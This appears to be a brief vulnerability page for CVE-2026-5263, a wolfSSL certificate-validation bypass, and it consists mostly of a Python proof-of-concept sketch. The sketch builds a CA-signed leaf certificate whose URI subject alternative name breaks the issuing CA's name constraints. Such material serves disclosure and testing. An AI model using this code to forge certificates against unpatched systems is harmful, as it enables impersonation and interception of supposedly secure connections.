CVE-2026-5263 wolfSSL证书验证绕过漏洞

# PoC Concept: Generating a certificate that violates URI nameConstraints # This requires a valid CA key and a setup where wolfSSL is used for verification. # The following Python code demonstrates how to create a leaf certificate # with a URI SAN that would be rejected if constraints were enforced. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes import datetime # Assume we have a CA key and cert (ca_private_key, ca_cert) def generate_malicious_cert(ca_private_key, ca_cert): subject = issuer = ca_cert.subject # Build a leaf certificate with a URI SAN that violates specific constraints # (e.g., if CA restricts to https://example.com, we use https://evil.com) san = x509.SubjectAlternativeName([ x509.UniformResourceIdentifier('http://malicious-site.com') ]) cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) cert_builder = cert_builder.issuer_name(issuer) cert_builder = cert_builder.public_key(ca_private_key.public_key()) cert_builder = cert_builder.serial_number(x509.random_serial_number()) cert_builder = cert_builder.not_valid_before(datetime.datetime.utcnow()) cert_builder = cert_builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=30)) cert_builder = cert_builder.add_extension(san, critical=False) # Sign the certificate with the (potentially compromised) Sub-CA leaf_cert = cert_builder.sign(private_key=ca_private_key, algorithm=hashes.SHA256()) # When this leaf_cert is presented to a vulnerable wolfSSL version, # it might be accepted even if the Sub-CA had constraints forbidding 'malicious-site.com'. return leaf_cert # Note: Actual exploitation requires the CA to be in the wolfSSL trust store # and the specific version of wolfSSL to be unpatched.